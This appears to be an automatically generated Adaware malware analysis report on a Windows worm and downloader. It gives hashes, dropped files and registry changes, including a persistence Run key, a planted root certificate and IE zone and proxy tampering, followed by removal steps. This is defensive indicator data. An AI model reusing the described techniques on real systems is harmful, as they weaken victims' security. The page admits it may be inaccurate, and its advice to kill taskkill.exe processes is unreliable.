Worm.Win32.AutoItGen_0d15d97c2e – Adaware

Trojan-Downloader.Win32.Genome.vstb (Kaspersky), Trojan.Win32.Swrort.3.FD, Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, WormAutoItGen.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan, Worm

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 0d15d97c2e4b7566ed18f56158349f80

SHA1: fc0260295ded38497b9b22ded5c2980783c96371

SHA256: 45ca502e4e9ef60eb210a4ed851c6d244a428c426493a971a2e6721a80c78e73

SSDeep: 6144:oquEvlxHZn6j5FtCPKUFpdQE6HAw7bNwR1JHuLy8TDIufoknbG44uOCyQfAtBRAh:oquErHF6xC9D6DmR1J98w4oknqOOCyQV

Size: 390656 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6

Company: Internet Program

Created at: 2015-09-26 07:34:42

Analyzed on: WindowsXP SP3 32-bit

Summary: Worm. A program that is primarily replicating on networks or removable drives.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

taskkill.exe:1304
taskkill.exe:1436
taskkill.exe:708
taskkill.exe:972
taskkill.exe:636
taskkill.exe:1136
taskkill.exe:1944
taskkill.exe:1064
taskkill.exe:1888
taskkill.exe:252
taskkill.exe:1900
taskkill.exe:2012
1.tmp.exe:356
n2i1m2v2zhm5bdv.exe:1052
hades_update.exe:1608

The Worm injects its code into the following process(es):

n2i1m2v2zhm5bdv.exe:1964
%original file name%.exe:1156

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!temporary internet files!content.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!history!history.ie5!_!MSFTHISTORY!_alyx9fc4a4zrlxt68cyj217kShimCacheMutex

File activity

The process 1.tmp.exe:356 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\DcryptDll.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\hades_update.exe (973829 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp (92232 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\hades_update.dat (87814 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\DcryptDll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\hades_update.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\hades_update.dat (0 bytes)

The process n2i1m2v2zhm5bdv.exe:1964 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Program Files%\Sn2y1nwu1zdi5zdv\settings.txt (35 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.log (507 bytes)

The process n2i1m2v2zhm5bdv.exe:1052 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.log (89 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv\SSL\Hades CA.pvk (1 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv\SSL\Hades CA.cer (756 bytes)

The process %original file name%.exe:1156 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\su49oudvjmha[1].exe (1389465 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@data-url[1].txt (215 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1.tmp.exe (365296 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)

The process hades_update.exe:1608 makes changes in the file system.

The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsisdt.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsJSON.dll (7 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\plc4.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoA.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\geo[1] (160 bytes)
%System%\drivers\n2i1m2v2zhm5bdv.sys (2392 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\smime3.dll (3616 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\certutil.exe (3312 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\nss3.dll (12536 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\plds4.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\StdUtils.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss6.tmp (149698 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsisdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\WmiInspector.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqB.tmp (1 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\softokn3.dll (12536 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\nspr4.dll (6360 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\mozcrt19.dll (23936 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.exe (71670 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\uninstall.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\base64.dll (3312 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy8.tmp.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsJSON.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsisdt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsisdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\StdUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\WmiInspector.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\base64.dll (0 bytes)

Registry activity

The process taskkill.exe:1304 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 2C 8F A4 16 C2 A8 CE DE 27 BA 14 38 7B 2C 4D"

The process taskkill.exe:1436 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2C 0D 3B 11 E3 21 2F 7C 50 B2 F9 CD 69 95 F2 CE"

The process taskkill.exe:708 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "07 43 10 FF AB 35 88 95 2B 6F 14 3A 1F 33 15 14"

The process taskkill.exe:972 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B9 C9 F1 AA 09 F6 BD 8F A2 79 AF E1 16 66 4B C6"

The process taskkill.exe:636 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 D1 00 63 07 DF 08 99 28 9D 4B 29 FA BE B8 FF"

The process taskkill.exe:1136 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A2 43 89 74 AE 37 31 04 E6 F7 62 88 FC ED 97 AE"

The process taskkill.exe:1944 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7D F3 0F 26 C2 16 15 DE 35 67 CC 99 2F 32 D5 94"

The process taskkill.exe:1064 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D 1E DC 6A F1 4B 20 7D 80 AE 3C 8C BF F8 31 ED"

The process taskkill.exe:1888 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A F4 C4 64 77 96 7F 05 21 D9 AA 36 B1 1F B1 08"

The process taskkill.exe:252 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 6A 71 C8 0A 90 25 E5 D9 3F 86 CC 77 D3 91 C9"

The process taskkill.exe:1900 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 10 2E 92 FC 71 D8 56 C9 74 7F 9C 9D 03 D2 13"

The process taskkill.exe:2012 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D0 63 5C E8 7C D0 4E 82 02 7B 34 C5 81 16 A7 7E"

The process 1.tmp.exe:356 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8B 04 62 B9 A9 A0 48 17 41 5B 3B 79 E3 CF EF 33"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg4.tmp\,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process n2i1m2v2zhm5bdv.exe:1964 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 49 E3 71 45 50 24 2E 4A AD 66 B4 6F E8 F0 43"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

The process n2i1m2v2zhm5bdv.exe:1052 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 BE B1 3B 0A B1 7A 38 F8 18 8E F0 DA 0D E8 34"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\EBBFB6BD421217EC73F76DB1CF7B0B057E6BA264]
"Blob" = "03 00 00 00 01 00 00 00 14 00 00 00 EB BF B6 BD"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "08 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\System\CurrentControlSet\Services\n2i1m2v2zhm5bdv]
"Tag" = "9"

The Worm deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates]
"EBBFB6BD421217EC73F76DB1CF7B0B057E6BA264"

The process %original file name%.exe:1156 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 34 F7 9F F4 53 66 D7 DF 40 A2 78 75 2F B9 9D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"1.tmp.exe" = "Update"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process hades_update.exe:1608 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Hades]
"AV" = "None"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hades]
"DisplayIcon" = "%Program Files%\Sn2y1nwu1zdi5zdv\uninstall.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Hades]
"grp" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"taskkill.exe" = "Kill Process"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Hades]
"VM" = "VMware Virtual Platform"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Hades]
"tm" = "1443519100"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hades]
"DisplayName" = "Hades"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Hades]
"SID" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hades]
"Publisher" = "Hades"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hades]
"UninstallString" = "%Program Files%\Sn2y1nwu1zdi5zdv\uninstall.exe"
"InstallDate" = "20130929"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hades]
"DisplayVersion" = "2.09.29.0"

[HKLM\SOFTWARE\Hades]
"srv" = "eu-aaa.net"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Hades]
"udt" = "29092015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Hades]
"drv" = "tdi-wpp-86"
"cid" = "75ed9567-aa58-4c8e-a8ea-3cad7c47ab03"
"AID" = "1000"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Hades]
"GEO" = "Ukraine"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4F D4 97 4D E2 ED 79 E5 D2 5E 41 7C 35 82 99 A1"

[HKLM\SOFTWARE\Hades]
"PID" = "Hades"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hades]
"EstimatedSize" = "4298"

[HKLM\SOFTWARE\Hades]
"dt" = "29092015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"n2y1nwu1zdi5zdv" = "%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.exe"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"ProxyServer"
"AutoConfigURL"

The Worm disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"n2y1nwu1zdi5zdv"

"f552dd4c52e3"

"Salus"

"Hades"

Dropped PE files

MD5	File path
473fdae6f0be776a005eaadadca0da45	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\1.tmp.exe
473fdae6f0be776a005eaadadca0da45	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\su49oudvjmha[1].exe
adcd54841edeb69162d19e73436e5612	c:\Program Files\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.exe
a253cbbfbceee37dd90b999d26542038	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\certutil.exe
0847bc96e23565dbae072ca335a212c9	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\mozcrt19.dll
32b2685234074047263d4a0cc8bf5d56	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\nspr4.dll
09cacf1074663b90a88c2345f42425ff	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\nss3.dll
1cce55587f95d57759e36f387c4f9dee	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\plc4.dll
9b31fe86fac03999982dccbe2a0103ac	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\plds4.dll
031a02aadf62df41f8558a18e5d280a9	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\smime3.dll
b2ad88dd7b83b62695b764d1dadfc15d	c:\Program Files\Sn2y1nwu1zdi5zdv\nss\softokn3.dll
e9ab5ee1bf39de8df020b8cd5a1af4fa	c:\Program Files\Sn2y1nwu1zdi5zdv\uninstall.exe
c394cf2097a523ea58d58df1a1f2665b	c:\WINDOWS\system32\drivers\n2i1m2v2zhm5bdv.sys

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
taskkill.exe:1304
taskkill.exe:1436
taskkill.exe:708
taskkill.exe:972
taskkill.exe:636
taskkill.exe:1136
taskkill.exe:1944
taskkill.exe:1064
taskkill.exe:1888
taskkill.exe:252
taskkill.exe:1900
taskkill.exe:2012
1.tmp.exe:356
n2i1m2v2zhm5bdv.exe:1052
hades_update.exe:1608
Delete the original Worm file.
Delete or disinfect the following files created/modified by the Worm:
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\DcryptDll.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\hades_update.exe (973829 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp (92232 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg4.tmp\hades_update.dat (87814 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\settings.txt (35 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.log (507 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv\SSL\Hades CA.pvk (1 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv\SSL\Hades CA.cer (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\su49oudvjmha[1].exe (1389465 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@data-url[1].txt (215 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1.tmp.exe (365296 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsisdt.dll (5 bytes)
